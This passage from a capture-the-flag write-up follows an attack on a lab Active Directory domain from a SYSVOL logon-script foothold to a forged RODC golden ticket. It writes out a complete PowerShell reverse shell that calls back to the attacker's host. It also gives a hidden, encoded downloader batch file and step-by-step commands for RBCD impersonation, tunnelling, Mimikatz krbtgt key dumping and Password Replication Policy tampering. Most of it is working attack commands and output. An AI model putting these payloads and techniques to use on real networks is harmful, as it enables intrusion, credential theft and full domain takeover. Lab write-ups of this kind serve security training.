This was it. The edge BloodHound couldn't see. Not GenericWrite, not WriteDACL — a single attribute-level write permission that was completely invisible to both Legacy and Community Edition. Hours of chasing ghosts, and the answer had been hiding in one DACL entry the whole time.

I thought back to Phase 2. The printerDetect.bat script sitting in SYSVOL. The --shares output that said READ. The assumption I never bothered to test. If SYSVOL's scripts folder was actually writable at the NTFS level...

Time to find out.

Phase 5: Lateral Movement — From Script to Shell

Weaponizing SYSVOL

I had write access to l.wilson's scriptPath. I had a logon script sitting in SYSVOL. The only question left — could I actually upload something to that scripts folder? The --shares output said READ. But I'd been trusting that output for hours without ever testing it.

I went with a two-stage payload. First, a PowerShell reverse shell script — shell.ps1 — that would connect back to my listener:

cat > shell.ps1 << 'EOF'
\(client = New-Object System.Net.Sockets.TCPClient("10.10.14.42",443);\)stream = $client.GetStream();
[byte[]]\(bytes = 0..65535|%{0};while((\)i = \(stream.Read(\)bytes, 0, $bytes.Length)) -ne 0){
\(data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\)bytes,0,$i);
\(sendback = (iex \)data 2>&1 | Out-String);\(sendback2 = \)sendback + "PS " + (pwd).Path + "> ";
\(sendbyte = ([text.encoding]::ASCII).GetBytes(\)sendback2);
\(stream.Write(\)sendbyte,0,\(sendbyte.Length);\)stream.Flush()};$client.Close()
EOF

Then a .bat wrapper that would download and execute it — because Windows logon scripts run .bat files, not .ps1:

PAYLOAD="IEX(New-Object Net.WebClient).downloadString('http://10.10.14.42:8000/shell.ps1')"
ENCODED=\((echo -n "\)PAYLOAD" | iconv -t UTF-16LE | base64 -w0)
echo "@echo off" > printerDetect.bat
echo "powershell -nop -w hidden -enc $ENCODED" >> printerDetect.bat

The idea: printerDetect.bat runs at login → PowerShell downloads shell.ps1 from my HTTP server → reverse shell connects back. Two files, one chain.

I hosted shell.ps1 on a Python HTTP server and tried the upload — the moment of truth:

┌──(root㉿kali)-[/home/kali]
└─# smbclient //10.129.195.112/SYSVOL -U 'j.arbuckle%Th1sD4mnC4t!@1978' -c 'cd garfield.htb\scripts\; put printerDetect.bat'
putting file printerDetect.bat as \garfield.htb\scripts\printerDetect.bat (0.2 kB/s) (average 0.2 kB/s)

IIt went through. I stared at the confirmation line and felt something between relief and anger. Writable. This folder had been writable the entire time — through every failed AS-REP, every empty Kerberoast, every hung PetitPotam relay. The foothold was right here in Phase 2, hiding behind three letters I never questioned: R-E-A-D.

Quick note: this two-stage delivery — bat downloads ps1 from HTTP — works in a lab where attacker and target share the same network. In a real engagement, you'd embed the payload directly or host it on an internal share the target can reach.

Catching the Shell

I set l.wilson's scriptPath to point at my payload:

┌──(root㉿kali)-[/home/kali]
└─# bloodyAD -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -d garfield.htb --host 10.129.195.112 set object l.wilson scriptPath -v 'printerDetect.bat'
[+] l.wilson's scriptPath has been updated

Started the listener. Waited. Watched the HTTP server.

Minutes passed. Then — a hit on the HTTP server: "GET /shell.ps1 HTTP/1.1" 200. And the listener lit up:

┌──(root㉿kali)-[/home/kali]
└─# nc -lvnp 443                                                                                                                             
listening on [any] 443 ...
connect to [10.10.14.42] from (UNKNOWN) [10.129.195.112] 63991
whoami
garfield\l.wilson
PS C:\Windows\system32>

My hands were still on the keyboard but my brain had already moved three steps ahead. From a single attribute write to a full shell — the chain that BloodHound said didn't exist was very much alive.

ForceChangePassword — One Account Leads to Another

Back to BloodHound. With l.wilson compromised, new edges appeared — and this time, the graph actually had something useful. l.wilson had ForceChangePassword on l.wilson_adm. The admin tiering from Phase 2 was about to work in my favor.

┌──(root㉿kali)-[/home/kali]
└─# nc -lvnp 443                                                                                                                             
listening on [any] 443 ...
connect to [10.10.14.42] from (UNKNOWN) [10.129.195.112] 63991
whoami
garfield\l.wilson
PS C:\Windows\system32> $newpass = ConvertTo-SecureString 'WhoKnows123!' -AsPlainText -Force
PS C:\Windows\system32> Set-ADAccountPassword -Identity l.wilson_adm -NewPassword $newpass -Reset

Silent success. I verified from Kali and upgraded to a proper Evil-WinRM shell:

┌──(root㉿kali)-[/home/kali]
└─# evil-winrm -i 10.129.195.112 -u 'l.wilson_adm' -p 'WhoKnows123!'
                                        
Evil-WinRM shell v3.9
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\l.wilson_adm\Documents> type C:\Users\l.wilson_adm\Desktop\user.txt
8a65a7bc************************

User flag. Halfway there — but the real target was still two machines and one Golden Ticket away. And more importantly — a stable shell with file transfer capabilities. The reverse shell had served its purpose. Time to climb higher.

Phase 6: Privilege Escalation — Climbing the RODC Ladder

AddSelf — Joining the Inner Circle

A stable shell changes everything. No more waiting for simulated logins, no more fragile reverse connections dropping mid-command. With Evil-WinRM on DC01 as l.wilson_adm, I could finally work at full speed.

I pulled up BloodHound again — the same tool that had lied to me for hours. But this time I was searching from a different starting point, and this time the graph decided to cooperate. l.wilson_adm had AddSelf on the RODC Administrators group. Not "add anyone" — just "add yourself." One permission, one command, no approval chain.

*Evil-WinRM* PS C:\Users\l.wilson_adm\Documents> Add-ADGroupMember -Identity "RODC Administrators" -Members l.wilson_adm

No output. No error. Just like that, I was an RODC administrator.

The rush lasted about three seconds — until I tried to figure out where RODC01 actually was.

*Evil-WinRM* PS> nslookup RODC01.garfield.htb
Server:  localhost
Address:  127.0.0.1

Name:    RODC01.garfield.htb
Address:  192.168.100.2

192.168.100.2. An internal address my Kali box had no route to. I pinged it from DC01 — replies came back instantly. So the two domain controllers could talk to each other, but I was on the outside looking in. I had the title of RODC admin and absolutely no way to use it. Not yet.

*Evil-WinRM* PS C:\Users\l.wilson_adm\Documents> ping RODC01.garfield.htb

Pinging RODC01.garfield.htb [192.168.100.2] with 32 bytes of data:
Reply from 192.168.100.2: bytes=32 time<1ms TTL=128
Reply from 192.168.100.2: bytes=32 time<1ms TTL=128
Reply from 192.168.100.2: bytes=32 time<1ms TTL=128
Reply from 192.168.100.2: bytes=32 time<1ms TTL=128

Ping statistics for 192.168.100.2:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = 0ms, Average = 0ms

RBCD — Faking Trust

I needed SYSTEM on RODC01, and being a local admin wouldn't get me there through psexec alone — not without a way to authenticate as a domain admin against its services. That's where RBCD comes in.

The logic is almost absurd when you spell it out: create a machine account out of thin air, tell RODC01 to trust it for delegation, then use that trust to impersonate Administrator. It shouldn't work. But Active Directory's delegation model has always been more permissive than it should be.

I created the fake machine account:

┌──(root㉿kali)-[/home/kali]
└─# impacket-addcomputer garfield.htb/l.wilson_adm:'WhoKnows123!' -computer-name 'YOURPC$' -computer-pass 'Password123!' -dc-ip 10.129.195.112
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Successfully added machine account YOURPC$ with password Password123!.

Configured the delegation:

┌──(root㉿kali)-[/home/kali]
└─# impacket-rbcd garfield.htb/l.wilson_adm:'WhoKnows123!' -delegate-from 'YOURPC\(' -delegate-to 'RODC01\)' -action write -dc-ip 10.129.195.112
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] YOURPC\( can now impersonate users on RODC01\) via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*]     YOURPC$      (S-1-5-21-2502726253-3859040611-225969357-10601)

Then requested the service ticket — and immediately hit a wall:

┌──(root㉿kali)-[/home/kali]
└─# impacket-getST garfield.htb/'YOURPC$':'Password123!' -spn cifs/RODC01.garfield.htb -impersonate Administrator -dc-ip 10.129.195.112 
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)

Clock skew. My Kali box was 8 hours behind the DC — I'd noticed the offset in the nmap output back in Phase 1 but never bothered to fix it. A quick ntpdate sync and the ticket came through:

┌──(root㉿kali)-[/home/kali]
└─# ntpdate -b 10.129.195.112
2026-04-07 23:46:55.049044 (-0400) +29057.094492 +/- 0.170469 10.129.195.112 s1 no-leap
CLOCK: time stepped by 29057.094492
                                                                                                                                                            
┌──(root㉿kali)-[/home/kali]
└─# impacket-getST garfield.htb/'YOURPC$':'Password123!' -spn cifs/RODC01.garfield.htb -impersonate Administrator -dc-ip 10.129.195.112
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_RODC01.garfield.htb@GARFIELD.HTB.ccache

Ticket in hand. I tried psexec — connection refused. Of course. 192.168.100.2 wasn't routable from my network. I had the key but no door to put it in.

Chisel — Tunneling Into the Inner Network

DC01 was the obvious pivot point — it had one foot in my network and one foot in 192.168.100.x. If I could run a SOCKS proxy through it, my tools on Kali could reach RODC01 as if they were on the internal segment.

Chisel was the tool for the job — a single binary that creates TCP tunnels over HTTP. But first I had to get it onto DC01. Evil-WinRM's built-in upload seemed like the obvious choice. It wasn't. I watched the progress bar crawl to 19% on a 4MB file and die. Three times. On the fourth attempt I gave up and switched to certutil — the Swiss Army knife of Windows file transfers:

# Kali — host chisel.exe
┌──(root㉿kali)-[/home/kali]
└─# python3 -m http.server 9001
# DC01 via Evil-WinRM
*Evil-WinRM* PS C:\Users\l.wilson_adm\Documents> certutil -urlcache -split -f http://10.10.14.42:9000/chisel.exe C:\Users\l.wilson_adm\Documents\chisel.exe
****  Online  ****
  000000  ...
  94f000
CertUtil: -URLCache command completed successfully.

Now the tunnel. Chisel server on Kali listening for reverse connections, client on DC01 connecting back and opening a SOCKS proxy:

┌──(root㉿kali)-[/home/kali]
└─# chisel server --reverse -p 8001
2026/04/07 23:50:52 server: Reverse tunnelling enabled
2026/04/07 23:50:52 server: Fingerprint XU6fXwMayfxkZtytgAq1GrpW7j84GEDAJyrPjneKoCU=
2026/04/07 23:50:52 server: Listening on http://0.0.0.0:8001
# DC01 via Evil-WinRM
*Evil-WinRM* PS C:\Users\l.wilson_adm\Documents> .\chisel.exe client 10.10.14.42:8001 R:socks
chisel.exe : 2026/04/07 21:05:01 client: Connecting to ws://10.10.14.42:8001
    + CategoryInfo          : NotSpecified: (2026/04/07 21:0...0.10.14.42:8001:String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError
2026/04/07 21:05:04 client: Connected (Latency 339.2648ms)  

The Chisel server on Kali confirmed the connection:

┌──(root㉿kali)-[/home/kali]
└─# chisel server --reverse -p 8001
2026/04/07 23:50:52 server: Reverse tunnelling enabled
2026/04/07 23:50:52 server: Fingerprint XU6fXwMayfxkZtytgAq1GrpW7j84GEDAJyrPjneKoCU=
2026/04/07 23:50:52 server: Listening on http://0.0.0.0:8001
2026/04/08 00:03:18 server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening

SOCKS proxy live on port 1080. But there was a catch — Chisel was running in the foreground, which meant my Evil-WinRM session was now locked. The tunnel was up, but I couldn't type anything else in that window. I opened a second Evil-WinRM session from Kali to keep working while the first one held the tunnel open:

#starting one more evil-winrm terminal
┌──(root㉿kali)-[/home/kali]
└─# evil-winrm -i 10.129.195.112 -u 'l.wilson_adm' -p 'WhoKnows123!'
                                        
Evil-WinRM shell v3.9
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\l.wilson_adm\Documents>

Two sessions: one holding the tunnel, one for operations. From this point on, anything I ran through proxychains on Kali would route through DC01 and into the 192.168.100.x segment. RODC01 was finally within reach.

I re-requested the service ticket through the proxy and pointed psexec at RODC01's internal address:

┌──(root㉿kali)-[/home/kali]
└─# proxychains impacket-getST garfield.htb/'YOURPC$':'Password123!' -spn cifs/RODC01.garfield.htb -impersonate Administrator -dc-ip 10.129.195.112
[*] Impersonating Administrator
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_RODC01.garfield.htb@GARFIELD.HTB.ccache

┌──(root㉿kali)-[/home/kali]
└─# export KRB5CCNAME=Administrator@cifs_RODC01.garfield.htb@GARFIELD.HTB.ccache

┌──(root㉿kali)-[/home/kali]
└─# proxychains impacket-psexec garfield.htb/Administrator@RODC01.garfield.htb -k -no-pass -dc-ip 10.129.195.112 -target-ip 192.168.100.2
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.100.2:445  ...  OK
[*] Found writable share ADMIN$
[*] Uploading file KThCwazW.exe
[*] Creating service LPBx on 192.168.100.2.....
[*] Starting service LPBx.....

C:\Windows\system32> whoami
nt authority\system

Mimikatz — Dumping the RODC's Secrets

I came here for one thing: the krbtgt_8245 encryption keys. Every RODC maintains its own krbtgt account with unique key material — and those keys are the raw ingredients for forging an RODC Golden Ticket.

Getting Mimikatz onto RODC01 required another round of file transfer gymnastics. RODC01 couldn't reach my Kali box directly — it only talked to DC01 on the internal segment. I used the second Evil-WinRM session to download Mimikatz onto DC01, then pushed it across to RODC01 through impacket-smbclient over the tunnel:

# Evil-WinRM session 2 on DC01 — download mimikatz
*Evil-WinRM* PS> certutil -urlcache -split -f http://10.10.14.42:9001/mimikatz.exe C:\Users\l.wilson_adm\Documents\mimikatz.exe
# Kali — push to RODC01 via proxychains
┌──(root㉿kali)-[/home/kali]
└─# proxychains impacket-smbclient garfield.htb/Administrator@RODC01.garfield.htb -k -no-pass -dc-ip 10.129.195.112 -target-ip 192.168.100.2
# use C$
# cd Windows\Temp
# put /home/kali/mimikatz.exe

My first attempt at running Mimikatz taught me a painful lesson. I used a one-liner — mimikatz.exe "privilege::debug" "lsadump::lsa /inject /name:krbtgt_8245" "exit" — and it dumped output, but psexec exited before printing everything. The AES keys I needed were cut off mid-line. I had to reconnect to RODC01 — re-request ticket, re-psexec, the whole dance — and this time run Mimikatz interactively:

# proxychains terminal
C:\Windows\system32> C:\Windows\Temp\mimikatz.exe
 
  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

privilege::debug
mimikatz # Privilege '20' OK
 
lsadump::lsa /inject /name:krbtgt_8245
mimikatz # Domain : GARFIELD / S-1-5-21-2502726253-3859040611-225969357

RID  : 00000643 (1603)
User : krbtgt_8245

 * Primary
    NTLM : 445aa4221e751da37a10241d962780e2
    LM   : 
  Hash NTLM: 445aa4221e751da37a10241d962780e2
    ntlm- 0: 445aa4221e751da37a10241d962780e2
    lm  - 0: 0ab3d34a182bb016fc4cfd26544a9f16

 * WDigest
    01  6d31d1f92ef6d85f5517944f98bf5753
    02  8c46bd5ddc680291e70800990dbc02e3
    03  9ffbc24f29b9bb3df3c32b76631ff874
    04  6d31d1f92ef6d85f5517944f98bf5753
    05  8c46bd5ddc680291e70800990dbc02e3
    06  8fc97c500bf9c7c4a0d34a497f9c5245
    07  6d31d1f92ef6d85f5517944f98bf5753
    08  c4bac61b7ecb407d358f836d2f4e19c6
    09  c4bac61b7ecb407d358f836d2f4e19c6
    10  d8938c80e1e0c80a2ec1d8b06f42cb31
    11  67f002aa49f4400fa970a53e294f4bee
    12  c4bac61b7ecb407d358f836d2f4e19c6
    13  56062e2db43bc0069deb86de87509ca6
    14  67f002aa49f4400fa970a53e294f4bee
    15  7250fcfc09d9cb93345c0c1393e19e52
    16  7250fcfc09d9cb93345c0c1393e19e52
    17  04b30cd8b5381d4b8458b0c996503a91
    18  b48bda9ef98982d5ee33766a74880e01
    19  bb365cf4f0bcdadf35b6a9b04c58257b
    20  85addbd6d603cca1b500f2da02b205d0
    21  b6186618611e202aae4141716e6603f5
    22  b6186618611e202aae4141716e6603f5
    23  f3f6c9408db132bf8e59413b7b40bb16
    24  0acf88cc5cb3b35888708ebefe658b6f
    25  0acf88cc5cb3b35888708ebefe658b6f
    26  08b8941632a5017e7178a3761dfaf7fb
    27  c1b2fd89d0dafb5f9e18147042bdc433
    28  712f0b6ed3b7eb7f6f135a1e298c4e09
    29  bf8d51270f7f657079bb9744446d70cb

 * Kerberos
    Default Salt : GARFIELD.HTBkrbtgt_8245
    Credentials
      des_cbc_md5       : d540fe6192b9ecfe

 * Kerberos-Newer-Keys
    Default Salt : GARFIELD.HTBkrbtgt_8245
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : d6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240
      aes128_hmac       (4096) : 124c0fd09f5fa4efca8d9f1da91369e5
      des_cbc_md5       (4096) : d540fe6192b9ecfe

 * NTLM-Strong-NTOWF
    Random Value : f4b51c2c0d006172304e31dbc6e0de6b

There it was. The AES256 key, the NTLM hash, the domain SID — three pieces of information that would let me forge a ticket as any user in the domain.

The RODC was designed to be a safe, limited outpost — a read-only copy that couldn't threaten the main domain controller even if it fell. But I was holding the keys to rewrite that assumption. "Read-only" was about to become the biggest lie in this domain.

Phase 7: Domain Takeover — The Golden Ticket That Wasn't Read-Only

Rewriting the Rules — Password Replication Policy

I had the RODC's krbtgt key. I had SYSTEM on RODC01. In theory, forging a Golden Ticket should have been straightforward — craft a TGT signed with krbtgt_8245, present it to DC01, and walk in as Administrator.

But RODC Golden Tickets have a catch that regular Golden Tickets don't. There's a gatekeeper sitting between me and DC01: the Password Replication Policy. When DC01 receives a TGT signed by an RODC's krbtgt, it checks whether the user in that ticket is allowed to have their password cached on that RODC. If the user isn't in the allow list — or worse, if they're in the deny list — the ticket gets revoked on the spot.

And by default, Administrator sits squarely in the deny list. Domain Admins, Enterprise Admins, Administrators — all explicitly blocked in msDS-NeverRevealGroup. The RODC was never supposed to cache their credentials.

So I had to rewrite the rules.

The first time I attempted this, I made a mistake that cost me an hour. I added Administrator to the allow list without clearing the deny list — assuming the allow list would take precedence:

┌──(root㉿kali)-[/home/kali]
└─#  bloodyAD -u l.wilson_adm -p 'WhoKnows123!' -d garfield.htb --host 10.129.195.189 add groupMember "Allowed RODC Password Replication Group" Administrator
Traceback (most recent call last):
  File "/usr/bin/bloodyAD", line 8, in <module>
    sys.exit(main())
             ~~~~^^
  File "/usr/lib/python3/dist-packages/bloodyAD/main.py", line 201, in main
    output = args.func(conn, **params)
  File "/usr/lib/python3/dist-packages/bloodyAD/cli_modules/add.py", line 244, in groupMember
    conn.ldap.bloodymodify(group, {"member": [(Change.ADD.value, member_transformed)]})
    ~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3/dist-packages/bloodyAD/network/ldap.py", line 285, in bloodymodify
    raise err
msldap.commons.exceptions.LDAPModifyException: LDAP Modify operation failed on DN CN=Allowed RODC Password Replication Group,CN=Users,DC=garfield,DC=htb! Result code: "insufficientAccessRights" Reason: "b'00002098: SecErr: DSID-031514A9, problem 4003 (INSUFF_ACCESS_RIGHTS), data 0\n\x00'"

Access denied. l.wilson_adm didn't have permission to modify that group's membership. But here's the thing about RODC security — the Password Replication Policy isn't just controlled by group membership. It's stored as attributes directly on the RODC's computer object: msDS-RevealOnDemandGroup (allow list) and msDS-NeverRevealGroup (deny list). And l.wilson_adm, as an RODC administrator, had write access to those attributes.

I cleared the deny list first — a lesson from my first attempt at this machine, where I modified the allow list without touching the deny list and got KRB_ERR_TGT_REVOKED for my trouble. Denied entries always override allowed entries. It doesn't matter if Administrator is on the allow list when Domain Admins is on the deny list. The deny always wins.

┌──(root㉿kali)-[/home/kali]
└─# bloodyAD -u l.wilson_adm -p 'WhoKnows123!' -d garfield.htb --host 10.129.195.189 set object 'RODC01$' msDS-NeverRevealGroup
[+] RODC01$'s msDS-NeverRevealGroup has been updated

Then added Administrator to the allow list:

┌──(root㉿kali)-[/home/kali]
└─# bloodyAD -u l.wilson_adm -p 'WhoKnows123!' -d garfield.htb --host 10.129.195.189 set object 'RODC01$' msDS-RevealOnDemandGroup -v 'CN=Administrator,CN=Users,DC=garfield,DC=htb'
[+] RODC01$'s msDS-RevealOnDemandGroup has been updated

One more subtlety I learned the hard way: bloodyAD set object overwrites the entire attribute — it doesn't append. The original entries in the Allowed RODC Password Replication Group were replaced with just Administrator. In a real engagement, this would break replication for every account legitimately cached on the RODC. In a CTF, I could afford the collateral damage. But it's worth noting: set is a sledgehammer, not a scalpel.

The deny list was empty. Administrator was on the allow list. The RODC's Password Replication Policy — the last line of defense between a compromised RODC and full domain takeover — was gone.

Rubeus — Forging the Ticket (and the Version That Almost Broke Everything)

Time to forge the Golden Ticket. But first — getting the tool onto DC01. I downloaded two versions of Rubeus on Kali: v2.2.0 from Ghostpack's compiled binaries, and v2.3.3 from SharpCollection. Then uploaded both to DC01 using the same certutil trick that had saved me with Chisel and Mimikatz:

┌──(root㉿kali)-[/home/kali]
└─# evil-winrm -i 10.129.195.189 -u 'l.wilson_adm' -p 'WhoKnows123!'                                                  
                                        
Evil-WinRM shell v3.9
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\l.wilson_adm\Documents> certutil -urlcache -split -f http://10.10.14.42:9001/Rubeus_old.exe C:\Users\l.wilson_adm\Documents\Rubeus_old.exe
****  Online  ****
  000000  ...
  06d200
CertUtil: -URLCache command completed successfully.
*Evil-WinRM* PS C:\Users\l.wilson_adm\Documents> certutil -urlcache -split -f http://10.10.14.42:9001/Rubeus_new.exe C:\Users\l.wilson_adm\Documents\Rubeus_new.exe
****  Online  ****
  000000  ...
  073c00
CertUtil: -URLCache command completed successfully.

I started with the old version — not because I expected it to work, but because the first time I attacked this machine, it was the only version I had. And the error it threw sent me on a wild goose chase I'll never forget.

Rubeus v2.2.0 forged the ticket without complaint:

*Evil-WinRM* PS C:\Users\l.wilson_adm\Documents> .\Rubeus_old.exe golden /rodcNumber:8245 /aes256:d6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240 /user:Administrator /id:500 /domain:garfield.htb /sid:S-1-5-21-2502726253-3859040611-225969357 /outfile:C:\Users\l.wilson_adm\Documents\rodc_golden.kirbi

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.0

[*] Action: Build TGT

[*] Building PAC

[*] Domain         : GARFIELD.HTB (GARFIELD)
[*] SID            : S-1-5-21-2502726253-3859040611-225969357
[*] UserId         : 500
[*] Groups         : 520,512,513,519,518
[*] ServiceKey     : D6C93CBE006372ADB8403630F9E86594F52C8105A52F9B21FEF62E9C7A75E240
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey         : D6C93CBE006372ADB8403630F9E86594F52C8105A52F9B21FEF62E9C7A75E240
[*] KDCKeyType     : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service        : krbtgt
[*] Target         : garfield.htb

[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for 'Administrator@garfield.htb'

[*] AuthTime       : 4/8/2026 10:25:24 AM
[*] StartTime      : 4/8/2026 10:25:24 AM
[*] EndTime        : 4/8/2026 8:25:24 PM
[*] RenewTill      : 4/15/2026 10:25:24 AM

[*] base64(ticket.kirbi):

      doIFRzCCBUOgAwIBBaEDAgEWooIENDCCBDBhggQsMIIEKKADAgEFoQ4bDEdBUkZJRUxELkhUQqIhMB+g
      AwIBAqEYMBYbBmtyYnRndBsMZ2FyZmllbGQuaHRio4ID7DCCA+igAwIBEqEDAgEDooID2gSCA9Y/6z8I
      X3c0LiRDlo/6viuWHvPyPzJyPmn+2b8kikW/8Fhbo88heDvQKTC+p0EsxlN6nMuyN1fxqksXwTW7+m1c
      UkGqKmn6D7xeCov1qP7dKlV5ElUnrJnJb0OgWVpCedG8I6CsMp63m/Y1otvVx5SXpscb6AZwL23BpRDP
      1LVNgDyTavj+UJgapOdnEQrd83R8fb6emzySGz1iHERCjJumQoLHDnVU+mvxdkoAktKt0C2Y/2uZD/FB
      XfSWBPNhG/mgwx1DNABmnqZqD48uL6sfpaOz+nmz5jwULsS8VQmTnDNGPnxW+0chd9FvM47Oti1PULR6
      GmGbdiT+HTAUJyH8bmkUowILDwW5R6MhQbcqZX5GixeCRo3VxwQAe9qmrHnWE4t9qd3mNxmhqqE1Mcjj
      SGLC6lVPB9E5aGMDKfcNBIcw+IhwVzdWTibhyoHbArFgLOeJkSDddIxiAwgrMbM443lH6Fb3O2MJrByB
      lgtFD7HqEQbFVdQ3RzgS49T96jrYCu3wHepUAvxoyvOe+h2fSU8RVYwzrAK8RHhg/bFk+Rp8ZCl2ziLu
      P3qhrlbFv/jeEymfalKw8ivK5HqZzUO6zRVcZ46ng4wjlpLz5SY03P2N6BB5rSFzzNAJ0hPlBHDtEmpO
      pHH7WmYmcRwnc5O2WqbQwASyu5zhq0FZMrichcw3wbP6WREcFdGk4iaFJ/wYYxbzuep4GDg05i54TqZI
      ffEraSsOxXRPZD7dH7LZsU6OmB03ZFSNYQleEB+HKUU/oWLbfbKa721BsDro5kRBWvKDUXKuPkvy9Gch
      BD7TKC0xMqpe+8je/6O73v9md6mQv5zKW+62v4N/zU2lbHmZEx8ccg1E0jUjOfC3IDarzxUx36Ckblmd
      SdbLNlG6CpY8TNSfF082Ktld8WuKmNmC+87D81VEbIrJjGeXnJEiU0ZGce83nAjVBQ6K6ciN2flOy/uj
      N/qe2qOLWZt2+Yg1VTckNfsRnmGsUrjTW7VU8dmrC9siq7gZz0IJYyMwNahWpjwKkohy5thw6QQ3pkeB
      t3g2mwv3vvtK6qwNtuxLnW4zGsNjmNSdyz5r1QQxk3v+r5cYcRXRAbvnmhA7twjS6HiWLRf6qd/Z0mZm
      z9ajTZHKVOKyAws5mHHXLGcjqqCpUjSdyHx5/FJXk+TYp43v8uim/0U+L5epvB6oVpUtXlXLvwCrVPXh
      YUFv9k/9bOMU4WgDTpMwY0ike7N9GDffSf1xvE1tDDRzQBqBMBSe1ADeyP+jjCsir5cLK95E2tC22Srd
      gd8LaZFb73+Kgb5lz3uN4l5co4H+MIH7oAMCAQCigfMEgfB9ge0wgeqggecwgeQwgeGgKzApoAMCARKh
      IgQg7H56EWSvDegQfBjb6YoNWT/jmqe40BtlUJ9gq5ToliKhDhsMR0FSRklFTEQuSFRCohowGKADAgEB
      oREwDxsNQWRtaW5pc3RyYXRvcqMHAwUAQOAAAKQRGA8yMDI2MDQwODE3MjUyNFqlERgPMjAyNjA0MDgx
      NzI1MjRaphEYDzIwMjYwNDA5MDMyNTI0WqcRGA8yMDI2MDQxNTE3MjUyNFqoDhsMR0FSRklFTEQuSFRC
      qSEwH6ADAgECoRgwFhsGa3JidGd0GwxnYXJmaWVsZC5odGI=


[*] Ticket written to C:\Users\l.wilson_adm\Documents\rodc_golden_2026_04_08_17_25_24_Administrator_to_krbtgt@GARFIELD.HTB.kirbi

Looked perfect. I tried to use it:

*Evil-WinRM* PS C:\Users\l.wilson_adm\Documents> .\Rubeus_old.exe asktgs /ticket:C:\Users\l.wilson_adm\Documents\rodc_golden_2026_04_08_17_25_24_Administrator_to_krbtgt@GARFIELD.HTB.kirbi /service:cifs/DC01.garfield.htb /dc:DC01.garfield.htb /ptt

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.0

[*] Action: Ask TGS

[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'cifs/DC01.garfield.htb'
[*] Using domain controller: DC01.garfield.htb (fe80::8d:6111:6cf0:bb46%7)

[X] KRB-ERROR (31) : KRB_AP_ERR_BAD_INTEGRITY

Bad integrity. The ticket was forged, the PRP was fixed, the key was correct — but the KDC rejected it anyway. I stared at the error, checked every parameter twice, re-dumped the krbtgt key to make sure I hadn't copied it wrong. Everything matched. I started questioning the entire attack chain — maybe the PRP wasn't right, maybe the key was wrong, maybe RODC Golden Tickets just didn't work the way I thought they did.

It took longer than I'd like to admit before I questioned the one thing I should have questioned first: the tool itself. Rubeus v2.2.0 has a bug in its RODC Golden Ticket implementation — the way it signs the PAC doesn't correctly handle the RODC key identifier, so the KDC's integrity check fails even when the key material is perfect. It's the kind of bug that makes you doubt everything before you doubt the tool.

I switched to Rubeus v2.3.3:

